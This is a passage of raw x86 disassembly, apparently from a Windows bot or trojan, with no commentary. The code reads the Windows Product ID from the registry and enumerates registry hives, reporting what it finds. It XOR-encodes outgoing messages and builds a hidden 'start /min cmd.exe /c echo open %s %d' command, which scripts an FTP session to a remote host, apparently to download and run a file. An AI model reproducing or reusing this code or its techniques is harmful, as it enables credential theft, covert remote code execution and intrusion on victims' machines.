		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2910000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B7C
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2910000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2910000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 29401D0h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		call	near ptr 28F0000h
		nop
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		nop
		call	near ptr 2910000h


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B9F+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B9F+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5F67AE
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B9F+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B9F+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403720+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_437AC0	dd 7FE448E9h, 4DE9B877h, 2A777E44h, 18F5E990h					; ___:0043F018o ...
; ---------------------------------------------------------------------------
		jg	short loc_437B49

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		dd 80FFB3E9h, 7DE90477h, 0E6778101h, 1FBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		retn	0E990h
; ---------------------------------------------------------------------------
		icebp
		cdq
		jle	short loc_437B6D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F1D4
		retn	4
; ---------------------------------------------------------------------------


loc_437B01:				; DATA XREF: ___:off_43F1D4o
		push	esi
		mov	esi, ecx
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437B22	proc near		; CODE XREF: sub_409660+4Dp
					; ___:0040AA7Dp
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 37h
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A110+5p
					; sub_410030+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_437B49:				; CODE XREF: ___:00437AD0j
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 2 dup(0FAh)
		dd 0E9907780h, 777E5424h
		db 90h
; ---------------------------------------------------------------------------


loc_437B6D:				; CODE XREF: ___:00437AF4j
		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780FED8h, 2300E990h, 9DE97780h, 2D7780FDh, 487DE990h
		dd 3D83777Fh, 5109D4h, 0FF0C75FFh, 90042474h, 7FD25BE8h
		dd 68C35977h, 5109C4h, 5109D468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 464DE990h, 0E990777Fh, 777FF5E8h, 0F5F9E990h
; ---------------------------------------------------------------------------
		jg	short loc_437C51

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		nop
		jmp	near ptr 77C4FA10h
sub_437BDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


